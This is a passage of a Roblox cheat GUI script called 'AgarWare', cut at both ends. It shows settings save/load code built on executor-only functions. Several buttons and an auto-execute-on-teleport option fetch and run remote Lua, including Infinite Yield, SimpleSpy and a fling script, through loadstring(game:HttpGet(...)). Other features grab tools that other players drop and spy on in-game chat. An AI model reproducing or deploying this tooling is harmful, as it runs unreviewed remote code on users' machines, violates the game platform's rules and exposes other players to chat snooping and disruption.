								for _, row in pairs(group:GetChildren()) do
									if row:IsA("Frame") then
										for _, child in pairs(row:GetChildren()) do
											if isTickBox(child) then
												local enabled = isTickBoxEnabled(child)
												table.insert(lines, row.Name .. "_" .. child.Name .. "=" .. tostring(enabled))
											end
	
											if isChanger(child) then
												if child.Text ~= "" and child.Text ~= child.PlaceholderText then
													table.insert(lines, row.Name .. "_" .. child.Name .. "_text=" .. child.Text)
												end
											end
										end
									end
								end
							end
						end
					end
				end
			end
		end
	
		writeFile(table.concat(lines, "\n"))
	end
	
	local function applyLoad(data)
		if not data or isApplyingLoad then return end
		if not MainFrame or not MainFrame.Parent then return end
	
		isApplyingLoad = true
		MainFrame:SetAttribute("IsLoading", true)
	
		local wasDraggable = MainFrame.Draggable
		MainFrame.Draggable = false
	
		local xScale = tonumber(data["posXScale"])
		local xOffset = tonumber(data["posXOffset"])
		local yScale = tonumber(data["posYScale"])
		local yOffset = tonumber(data["posYOffset"])
	
		if xScale and xOffset and yScale and yOffset then
			MainFrame.Position = UDim2.new(xScale, xOffset, yScale, yOffset)
		end
	
		task.wait(0.01)
	
		local ContentArea = MainFrame:FindFirstChild("ContentArea")
		if not ContentArea then 
			isApplyingLoad = false
			MainFrame:SetAttribute("IsLoading", false)
			MainFrame.Draggable = wasDraggable
			LoadingProgress:Fire(100.0)
			return 
		end
	
		-- Count total items to load
		local totalItems = 0
		local loadedItems = 0
	
		for _, page in pairs(ContentArea:GetChildren()) do
			if page:IsA("ScrollingFrame") then
				for _, side in pairs(page:GetChildren()) do
					if side:IsA("Frame") then
						for _, group in pairs(side:GetChildren()) do
							if group:IsA("Frame") then
								for _, row in pairs(group:GetChildren()) do
									if row:IsA("Frame") then
										for _, child in pairs(row:GetChildren()) do
											if isTickBox(child) or isChanger(child) then
												totalItems = totalItems + 1
											end
										end
									end
								end
							end
						end
					end
				end
			end
		end
	
		LoadingProgress:Fire(0.0)
	
		-- First: Load TextBox values AND trigger FocusLost
		for _, page in pairs(ContentArea:GetChildren()) do
			if page:IsA("ScrollingFrame") then
				for _, side in pairs(page:GetChildren()) do
					if side:IsA("Frame") then
						for _, group in pairs(side:GetChildren()) do
							if group:IsA("Frame") then
								for _, row in pairs(group:GetChildren()) do
									if row:IsA("Frame") then
										for _, child in pairs(row:GetChildren()) do
											if isChanger(child) then
												local savedText = data[row.Name .. "_" .. child.Name .. "_text"]
												if savedText then
													child.Text = savedText
													task.wait(0.02)
													pcall(function()
														firesignal(child.FocusLost, false)
													end)
												end
	
												-- Fire progress for EVERY item, not just ones with saved data
												loadedItems = loadedItems + 1
												local progress = (loadedItems / totalItems) * 100
												LoadingProgress:Fire(progress)
											end
										end
									end
								end
							end
						end
					end
				end
			end
		end
	
		task.wait(0.01)
	
		-- Second: Click TickBoxes
		for _, page in pairs(ContentArea:GetChildren()) do
			if not MainFrame or not MainFrame.Parent then break end
	
			if page:IsA("ScrollingFrame") then
				for _, side in pairs(page:GetChildren()) do
					if not MainFrame or not MainFrame.Parent then break end
	
					if side:IsA("Frame") then
						for _, group in pairs(side:GetChildren()) do
							if not MainFrame or not MainFrame.Parent then break end
	
							if group:IsA("Frame") then
								for _, row in pairs(group:GetChildren()) do
									if not MainFrame or not MainFrame.Parent then break end
	
									if row:IsA("Frame") then
										for _, child in pairs(row:GetChildren()) do
											if not MainFrame or not MainFrame.Parent then break end
	
											if isTickBox(child) then
												local savedValue = data[row.Name .. "_" .. child.Name]
												if savedValue then
													local shouldBeEnabled = savedValue == "true"
													local currentlyEnabled = isTickBoxEnabled(child)
	
													if shouldBeEnabled and not currentlyEnabled then
														pcall(function()
															firesignal(child.MouseButton1Click)
														end)
														task.wait(0.02)
													end
												end
	
												-- Fire progress for EVERY tickbox
												loadedItems = loadedItems + 1
												local progress = (loadedItems / totalItems) * 100
												LoadingProgress:Fire(progress)
											end
										end
									end
								end
							end
						end
					end
				end
			end
		end
	
		task.wait(1)
		LoadingProgress:Fire(100.0)
		isApplyingLoad = false
	
		if MainFrame and MainFrame.Parent then
			MainFrame:SetAttribute("IsLoading", false)
			MainFrame.Draggable = wasDraggable
		end
		
		hasLoadedOnce = true
	end
	
	task.spawn(function()
		while true do
			task.wait(2)
			if saveEnabled and MainFrame and MainFrame.Parent and hasLoadedOnce then
				saveData()
			end
		end
	end)
	
	SaveScriptsTickBox.MouseButton1Click:Connect(function()
		saveEnabled = not saveEnabled
		if saveEnabled then
			SaveScriptsTickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
			saveData()
		else
			saveEnabled = false
			SaveScriptsTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
			writeFile("saveEnabled=false")
		end
	end)
	
	task.spawn(function()
		task.wait(0.03)
	
		if not MainFrame or not MainFrame.Parent then return end
	
		local data = loadSave()
		if not data then return end
	
		saveEnabled = true
		SaveScriptsTickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
	
		applyLoad(data)
	end)
end;
task.spawn(C_b0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteScript
local function C_b4()
local script = G2L["b4"];
	-- AutoExecuteScript
	local AutoExecuteTickBox = script.Parent.AutoExecuteTickBox
	local MainSettingsGroup = script.Parent.Parent
	local MainSettingsAccentColor = MainSettingsGroup.MainSettingsAccentColor
	
	local SCRIPT_URL = "https://raw.githubusercontent.com/agarv69/Open-Source-Scripts/refs/heads/main/AGARWARE.lua"
	
	local isEnabled = false
	
	AutoExecuteTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	-- ============================================================
	-- TOOLTIP
	-- ============================================================
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	
	local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	
	local tooltipLabel = Instance.new("TextLabel", tooltipFrame)
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Automatically executes this script when you server hop."
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	
	AutoExecuteTickBox.MouseEnter:Connect(function()
		local abs = AutoExecuteTickBox.AbsolutePosition
		local size = AutoExecuteTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	AutoExecuteTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	-- ============================================================
	-- QUEUE ON TELEPORT
	-- ============================================================
	local function setupQueueOnTeleport()
		local queueFn = queue_on_teleport or (syn and syn.queue_on_teleport) or (fluxus and fluxus.queue_on_teleport)
		if queueFn then
			queueFn([[
				loadstring(game:HttpGet("https://raw.githubusercontent.com/agarv69/Open-Source-Scripts/refs/heads/main/AGARWARE.lua"))()
			]])
		end
	end
	
	-- ============================================================
	-- ENABLE / DISABLE
	-- ============================================================
	local function enable()
		isEnabled = true
		AutoExecuteTickBox.BackgroundColor3 = MainSettingsAccentColor.BackgroundColor3
		setupQueueOnTeleport()
	end
	
	local function disable()
		isEnabled = false
		AutoExecuteTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	end
	
	-- ============================================================
	-- TICKBOX TOGGLE
	-- ============================================================
	AutoExecuteTickBox.MouseButton1Click:Connect(function()
		if isEnabled then
			disable()
		else
			enable()
		end
	end)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_b4);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsScript
local function C_ba()
local script = G2L["ba"];
	local ExploitsGroup = script.Parent
	local ExploitsMinimize = ExploitsGroup.ExploitsTitle.ExploitsMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(ExploitsGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = ExploitsGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	ExploitsMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			ExploitsGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			ExploitsMinimize.Text = "+"
		else
			ExploitsGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			ExploitsMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_ba);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow.IYScript
local function C_c0()
local script = G2L["c0"];
	local IYRow = script.Parent
	local IYButton = IYRow.IYButton
	local originalText = IYButton.Text
	local SCRIPT_URL = "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"
	
	IYButton.MouseButton1Click:Connect(function()
		IYButton.Text = "LOADING..."
		task.spawn(function()
			local success, err = pcall(function()
				local code = game:HttpGet(SCRIPT_URL)
				loadstring(code)()
			end)
			if success then
				IYButton.Text = "SUCCESSFULLY EXECUTED"
				task.wait(3)
				IYButton.Text = originalText
			else
				IYButton.Text = "FAILED TO EXECUTE"
				task.wait(3)
				IYButton.Text = originalText
			end
		end)
	end)
end;
task.spawn(C_c0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow.SSScript
local function C_c3()
local script = G2L["c3"];
	local SSRow = script.Parent
	local SSButton = SSRow.SSButton
	local originalText = SSButton.Text
	local SCRIPT_URL = "https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"
	
	SSButton.MouseButton1Click:Connect(function()
		SSButton.Text = "LOADING..."
		task.spawn(function()
			local success, err = pcall(function()
				local code = game:HttpGet(SCRIPT_URL)
				loadstring(code)()
			end)
			if success then
				SSButton.Text = "SUCCESSFULLY EXECUTED"
				task.wait(3)
				SSButton.Text = originalText
			else
				SSButton.Text = "FAILED TO EXECUTE"
				task.wait(3)
				SSButton.Text = originalText
			end
		end)
	end)
end;
task.spawn(C_c3);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow.FlingScriptScript
local function C_c6()
local script = G2L["c6"];
	local FlingScriptRow = script.Parent
	local FlingScriptButton = FlingScriptRow.FlingScriptButton
	local originalText = FlingScriptButton.Text
	local SCRIPT_URL = "https://rawscripts.net/raw/Universal-Script-Fling-gui-42897"
	
	FlingScriptButton.MouseButton1Click:Connect(function()
		FlingScriptButton.Text = "LOADING..."
		task.spawn(function()
			local success, err = pcall(function()
				local code = game:HttpGet(SCRIPT_URL)
				loadstring(code)()
			end)
			if success then
				FlingScriptButton.Text = "SUCCESSFULLY EXECUTED"
				task.wait(3)
				FlingScriptButton.Text = originalText
			else
				FlingScriptButton.Text = "FAILED TO EXECUTE"
				task.wait(3)
				FlingScriptButton.Text = originalText
			end
		end)
	end)
end;
task.spawn(C_c6);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainScript
local function C_cc()
local script = G2L["cc"];
	-- ============================================================
	-- MAIN GROUP MASTER SCRIPT
	-- Place this script directly under MainGroup
	-- Handles: Minimize, Auto Drop on Death, Auto Pickup, Anti Enlighten Drop, ChatSpy
	-- ============================================================
	
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local TextChatService = game:GetService("TextChatService")
	local LocalPlayer = Players.LocalPlayer
	
	local MainGroup = script.Parent
	local MainMinimize = MainGroup.MainTitle.MainMinimize
	local MainAccentColor = MainGroup:FindFirstChild("MainAccentColor")
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = MainGroup
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
		return game:GetService("CoreGui")
	end
	
	-- ============================================================
	-- TOOLTIP CREATOR
	-- ============================================================
	local function createTooltip(name, text, parent)
		local frame = Instance.new("Frame")
		frame.Name = name
		frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = getScreenGui()
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57, 57, 57)
		stroke.Thickness = 1
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0, 6)
		padding.PaddingBottom = UDim.new(0, 6)
		padding.PaddingLeft = UDim.new(0, 6)
		padding.PaddingRight = UDim.new(0, 6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1, 1, 1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0, 200, 0, 0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		if parent then
			parent.MouseEnter:Connect(function()
				local abs = parent.AbsolutePosition
				local size = parent.AbsoluteSize
				frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
				frame.Visible = true
			end)
	
			parent.MouseLeave:Connect(function()
				frame.Visible = false
			end)
		end
	
		return frame
	end
	
	-- ============================================================
	-- MINIMIZE FUNCTIONALITY
	-- ============================================================
	local function getRows()
		local rows = {}
		for _, child in ipairs(MainGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = MainGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	MainMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			MainGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			MainMinimize.Text = "+"
		else
			MainGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			MainMinimize.Text = "-"
		end
	end)
	
	-- ============================================================
	-- TICKBOX FEATURE SETUP
	-- Makes adding new features super easy
	-- ============================================================
	local activeFeatures = {}
	
	local function setupTickBox(config)
		--[[
		config = {
			row = "ADODeathRow",
			tickBox = "ADODeathTickBox",
			tooltip = "Tooltip text here",
			onEnable = function() end,   -- (Optional)
			onDisable = function() end,  -- (Optional)
			loop = function() end         -- (Optional)
		}
		]]
	
		local rowName = config.row
		local tickBoxName = config.tickBox
		local tooltipText = config.tooltip
		local onEnable = config.onEnable
		local onDisable = config.onDisable
		local loop = config.loop
	
		local row = MainGroup:FindFirstChild(rowName)
		if not row then 
			warn("[MainGroup] Row not found:", rowName)
			return 
		end
	
		local tickBox = row:FindFirstChild(tickBoxName)
		if not tickBox then 
			warn("[MainGroup] TickBox not found:", tickBoxName)
			return 
		end
	
		local isEnabled = false
		local loopConnection = nil
		tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
		-- Create tooltip
		local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox)
	
		-- Enable function
		local function enable()
			isEnabled = true
	
			if MainAccentColor then
				tickBox.BackgroundColor3 = MainAccentColor.BackgroundColor3
			else
				tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
			end
	
			if onEnable then
				pcall(onEnable)
			end
	
			if loop then
				loopConnection = RunService.Heartbeat:Connect(function()
					if isEnabled then
						pcall(loop)
					end
				end)
			end
		end
	
		-- Disable function
		local function disable()
			isEnabled = false
			tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
			if loopConnection then
				loopConnection:Disconnect()
				loopConnection = nil
			end
	
			if onDisable then
				pcall(onDisable)
			end
		end
	
		-- Click handler
		tickBox.MouseButton1Click:Connect(function()
			if isEnabled then
				disable()
			else
				enable()
			end
		end)
	
		-- Store for cleanup
		table.insert(activeFeatures, {
			tooltip = tooltip,
			disable = disable,
			connection = loopConnection
		})
	
		return {
			enable = enable,
			disable = disable,
			isEnabled = function() return isEnabled end
		}
	end
	
	-- ============================================================
	-- FEATURES START HERE
	-- Scroll down to add new features easily
	-- ============================================================
	
	-- AUTO DROP ON DEATH
	local DEATH_TAG = "ADODeathDropped"
	local charConn = nil
	
	local function dropAllTools()
		local char = LocalPlayer.Character
		if not char then return end
	
		for _, tool in ipairs(LocalPlayer.Backpack:GetChildren()) do
			if tool:IsA("Tool") then
				tool.Parent = char
			end
		end
	
		task.wait(0.05)
	
		for _, tool in ipairs(char:GetChildren()) do
			if tool:IsA("Tool") then
				tool:AddTag(DEATH_TAG)
				tool.Parent = workspace
			end
		end
	end
	
	local function pickupDroppedTools(char)
		local deadline = tick() + 3
	
		repeat
			local hum = char:FindFirstChildWhichIsA("Humanoid")
			if hum and hum.Health > 0 then
				for _, obj in ipairs(workspace:GetChildren()) do
					if obj:IsA("Tool") and obj:HasTag(DEATH_TAG) and obj:FindFirstChild("Handle") then
						hum:EquipTool(obj)
					end
				end
	
				local remaining = false
				for _, obj in ipairs(workspace:GetChildren()) do
					if obj:IsA("Tool") and obj:HasTag(DEATH_TAG) then
						remaining = true
						break
					end
				end
				if not remaining then break end
			end
			task.wait(0.1)
		until tick() > deadline
	end
	
	local function setupADOCharacter(char)
		task.spawn(function()
			pickupDroppedTools(char)
		end)
	
		local hum = char:FindFirstChildWhichIsA("Humanoid") or char:WaitForChild("Humanoid", 10)
		if not hum then return end
	
		hum.Died:Connect(function()
			task.wait(0.05)
			dropAllTools()
		end)
	end
	
	setupTickBox({
		row = "ADODeathRow",
		tickBox = "ADODeathTickBox",
		tooltip = "Auto drops all of your tools on death. Instantly picks it back up after respawn.",
		onEnable = function()
			if LocalPlayer.Character then
				setupADOCharacter(LocalPlayer.Character)
			end
	
			charConn = LocalPlayer.CharacterAdded:Connect(function(char)
				setupADOCharacter(char)
			end)
		end,
		onDisable = function()
			if charConn then
				charConn:Disconnect()
				charConn = nil
			end
		end
	})
	
	-- AUTO PICKUP
	local pickupLoop = nil
	local unequipLoop = nil
	local autoPickedTools = {}
	
	setupTickBox({
		row = "APickupRow",
		tickBox = "APickupTickBox",
		tooltip = "Automatically picks up all tools that players drop.",
		onEnable = function()
			autoPickedTools = {}
	
			-- Pickup loop
			pickupLoop = task.spawn(function()
				while true do
					local char = LocalPlayer.Character
					local hum = char and char:FindFirstChildWhichIsA("Humanoid")
	
					if hum and hum.Health > 0 then
						local currentTool = char:FindFirstChildOfClass("Tool")
	
						for _, obj in ipairs(workspace:GetChildren()) do
							if obj:IsA("Tool") and obj:FindFirstChild("Handle") and not obj:HasTag(DEATH_TAG) then
								autoPickedTools[obj] = tick() + 0.5
								pcall(function()
									hum:EquipTool(obj)
								end)
							end
						end
	
						if currentTool and currentTool.Parent == LocalPlayer.Backpack and not autoPickedTools[currentTool] then
							task.wait(0.05)
							hum:EquipTool(currentTool)
						end
					end
	
					task.wait(0.1)
				end
			end)
	
			-- Unequip loop
			unequipLoop = task.spawn(function()
				while true do
					local char = LocalPlayer.Character
	
					if char then
						local currentTime = tick()
	
						for tool, expiry in pairs(autoPickedTools) do
							if currentTime > expiry then
								autoPickedTools[tool] = nil
							end
						end
	
						for _, tool in pairs(char:GetChildren()) do
							if tool:IsA("Tool") and autoPickedTools[tool] and currentTime < autoPickedTools[tool] then
								tool.Parent = LocalPlayer.Backpack
							end
						end
					end
	
					task.wait()
				end
			end)
		end,
		onDisable = function()
			if pickupLoop then
				task.cancel(pickupLoop)
				pickupLoop = nil
			end
			if unequipLoop then
				task.cancel(unequipLoop)
				unequipLoop = nil
			end
			autoPickedTools = {}
		end
	})
	
	-- ANTI ENLIGHTEN DROP
	local ENLIGHTEN_NAMES = {"Enlighten", "The Arkenstone", "Arkenstone"}
	local enliConnections = {}
	
	local function isEnlighten(tool)
		if not tool:IsA("Tool") then return false end
		for _, name in ipairs(ENLIGHTEN_NAMES) do
			if tool.Name:lower():find(name:lower()) then
				return true
			end
		end
		return false
	end
	
	local function monitorEnlighten(tool)
		if not isEnlighten(tool) then return end
	
		local conn = tool.AncestryChanged:Connect(function()
			if tool.Parent == workspace then
				task.wait(0.05)
	
				local char = LocalPlayer.Character
				local hum = char and char:FindFirstChildWhichIsA("Humanoid")
	
				if hum and hum.Health > 0 then
					pcall(function()
						hum:EquipTool(tool)
					end)
				end
			end
		end)
	
		table.insert(enliConnections, conn)
	end
	
	local function setupEnliCharacter(char)
		for _, tool in ipairs(char:GetChildren()) do
			monitorEnlighten(tool)
		end
	
		for _, tool in ipairs(LocalPlayer.Backpack:GetChildren()) do
			monitorEnlighten(tool)
		end
	
		local charConn = char.ChildAdded:Connect(function(child)
			monitorEnlighten(child)
		end)
		table.insert(enliConnections, charConn)
	
		local backpackConn = LocalPlayer.Backpack.ChildAdded:Connect(function(child)
			monitorEnlighten(child)
		end)
		table.insert(enliConnections, backpackConn)
	end
	
	setupTickBox({
		row = "AntiEnliRow",
		tickBox = "AntiEnliTickBox",
		tooltip = "Prevents you from dropping enlighten on drop.",
		onEnable = function()
			if LocalPlayer.Character then
				setupEnliCharacter(LocalPlayer.Character)
			end
	
			local charConn = LocalPlayer.CharacterAdded:Connect(function(char)
				setupEnliCharacter(char)
			end)
			table.insert(enliConnections, charConn)
		end,
		onDisable = function()
			for _, conn in ipairs(enliConnections) do
				conn:Disconnect()
			end
			enliConnections = {}
		end
	})
	
	-- ============================================================
	-- ADD NEW FEATURES HERE - USE THIS TEMPLATE:
	-- ============================================================
	
	--[[
	setupTickBox({
		row = "YourRow",
		tickBox = "YourTickBox",
		tooltip = "What this feature does",
		onEnable = function()
			-- Code that runs ONCE when enabled
		end,
		onDisable = function()
			-- Code that runs ONCE when disabled
		end,
		loop = function()
			-- Code that runs EVERY FRAME while enabled
		end
	})
	]]
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			for _, feature in pairs(activeFeatures) do
				if feature.tooltip then
					feature.tooltip:Destroy()
				end
				if feature.disable then
					feature.disable()
				end
			end
		end
	end)
end;
task.spawn(C_cc);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyScript
local function C_d2()
local script = G2L["d2"];
	-- ============================================================
	-- CHATSPY + ARKSPY + DONATESPY + MUTEDSPY (single OnIncomingMessage)
	-- ============================================================
	
	local Players = game:GetService("Players")
	local TextChatService = game:GetService("TextChatService")
	local LocalPlayer = Players.LocalPlayer
	
	-- ============================================================
	-- CHATSPY UI REFS
	-- ============================================================
	local ChatSpyRow = script.Parent
	local ChatSpyTickBox = ChatSpyRow.ChatSpyTickBox
	local ChatSpyText = ChatSpyRow.ChatSpyText
	local MainGroup = ChatSpyRow.Parent
	local MainAccentColor = MainGroup.MainAccentColor
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local ScreenGui = (function()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end)()
	
	-- ============================================================
	-- OTHER UI REFS
	-- ============================================================
	local ArkSpyTickBox = nil
	local ProtectionAccentColor = nil
	local DonateSpyTickBox = nil
	local MutedSpyTickBox = nil
	local MiscAccentColor = nil
	local EnliChatBlueTickBox = nil
	
	for _, desc in pairs(ScreenGui:GetDescendants()) do
		if desc.Name == "ArkSpyRow" then
			ArkSpyTickBox = desc:FindFirstChild("ArkSpyTickBox")
			ProtectionAccentColor = desc.Parent:FindFirstChild("AlertAccentColor")
		end
		if desc.Name == "DonateSpyRow" then
			DonateSpyTickBox = desc:FindFirstChild("DonateSpyTickBox")
			MiscAccentColor = desc.Parent:FindFirstChild("AlertAccentColor")
		end
		if desc.Name == "MutedSpyRow" then
			MutedSpyTickBox = desc:FindFirstChild("MutedSpyTickBox")
			if not MiscAccentColor then
				MiscAccentColor = desc.Parent:FindFirstChild("AlertAccentColor")
			end
		end
		if desc.Name == "EnliChatBlueTickBox" then
			EnliChatBlueTickBox = desc
		end
	end
	
	-- ============================================================
	-- BOTREPLY UI REFS
	-- ============================================================
	local BotReplyTickBox = nil
	local BotReplyPrivTickBox = nil
	local BotReplyCaseTickBox = nil
	local BotReplyContainsTickBox = nil
	local BotAccentColor = nil
	local ChatTriggerBox = nil
	local ChatReplyBox = nil
	local BotReplyArkTickBox = nil
	local BotMinTimeTickBox = nil
	local BotMinTimeChanger = nil
	
	for _, desc in pairs(ScreenGui:GetDescendants()) do
		if desc.Name == "BotReplyRow" then
			BotReplyTickBox = desc:FindFirstChild("BotReplyTickBox")
			BotAccentColor = desc.Parent:FindFirstChild("BotAccentColor")
		end
		if desc.Name == "BotReplyPrivRow" then
			BotReplyPrivTickBox = desc:FindFirstChild("BotReplyPrivTickBox")
		end
		if desc.Name == "BotReplyCaseRow" then
			BotReplyCaseTickBox = desc:FindFirstChild("BotReplyCaseTickBox")
		end
		if desc.Name == "BotReplyContainsRow" then
			BotReplyContainsTickBox = desc:FindFirstChild("BotReplyContainsTickBox")
		end
		if desc.Name == "ChatTriggerRow" then
			ChatTriggerBox = desc:FindFirstChild("ChatTriggerBox")
		end
		if desc.Name == "ChatReplyRow" then
			ChatReplyBox = desc:FindFirstChild("ChatReplyBox")
		end
		if desc.Name == "BotReplyArkRow" then
			BotReplyArkTickBox = desc:FindFirstChild("BotReplyArkTickBox")
		end
		if desc.Name == "BotMinTimeRow" then
			BotMinTimeTickBox = desc:FindFirstChild("BotMinTimeTickBox")
			BotMinTimeChanger = desc:FindFirstChild("BotMinTimeChanger")
		end
	end
	
	-- ============================================================
	-- STATE
	-- ============================================================
	local spychat = false
	local isEnabled = false
	local arkSpyOn = false
	local donateSpyOn = false
	local mutedSpyOn = false
	local botReplyOn = false
	
	-- ============================================================
	-- TCO COLOR TABLES
	-- ============================================================
	local isog = workspace:FindFirstChild("Cubes") ~= nil
	
	local namecolors = {
		peasant  = {150, 103, 102},
		arken    = {4,   175, 236},
		admin    = {245, 205, 48},
		hidden   = {255, 0,   0},
		iqgenius = {255, 179, 179},
		iqdumb   = {200, 0,   0},
	}
	if isog then
		namecolors.peasant = {128, 128, 128}
	end
	
	local namecolorshex = {}
	for i, v in pairs(namecolors) do
		namecolorshex[i] = "#" .. Color3.fromRGB(table.unpack(v)):ToHex()
	end
	
	-- ============================================================
	-- COMMAND LIST (ArkSpy)
	-- ============================================================
	local commandSet = {}
	for _, cmd in ipairs({
		"airstrike","autumn","ball","bear","bigbrain","bkit","blaster","blind","boink","bomb",
		"boombox","bow","bring","btool","btools","candy","car","carpet","cash","classic",
		"claws","clearinv","clearsky","clicktp","clip","cloak","clone","clouds","cloudy","cmds",
		"colorful","colorless","creeper","cubes","curse","cursed","dancegun","darkspring","day",
		"debug","deer","delclones","delcubes","depth","disarm","dmg","drone","dtool",
		"dumb","dwarf","enlighten","epic","explode","fame","fat","ff","fire","firespell",
		"fireworks","flail","flashbang","fling","fly","fog","food","fov","freefall","freeze",
		"gauntlet","gear","genius","getseed","giant","glitch","gloves","glow","god","goto",
		"gravity","ham","headless","headsize","heal","height","hookgun","hour","hp","implode",
		"invisible","iq","jail","joinog","joinvc","joinxl","jumppower","katana","lantern",
		"lasergun","launch","launcher","makeway","mapnoise","mapseed","mapsize","maptide",
		"maxhp","memeify","mines","missiles","modern","monke","moonsize","morph","mute",
		"myopic","name","namek","nameon","nameoof","night","noclip","oof","ooflines","outlines",
		"paint","paper","pistol","players","pointers","portalgun","pov","premium","protest",
		"pumpkin","r15","r6","rage","railgun","raptor","rat","rctank","realistic","reset",
		"rocket","scythe","seasize","seatide","shark","short","shotgun","shovel","sign","sit",
		"size","skinny","smart","smoke","smollbrain","smooth","snowball","spam","spark","speed",
		"spring","stand","stool","storm","summer","sunsize","swim","sword","tackle","tall",
		"targets","taser","timeon","timeoof","tnt","tommy","torch","tospawn","toy","trail",
		"unblind","uncurse","unff","unfire","unfly","unfreeze","unglow","ungod","unjail",
		"unmute","unmyopic","unsmoke","unspark","untrail","uptime","visible","wear","width",
		"winter","yang","yin","kick","time","filesize"
		}) do
		commandSet[cmd] = true
	end
	
	-- ============================================================
	-- SHARED HELPERS
	-- ============================================================
	local function sendChat(message)
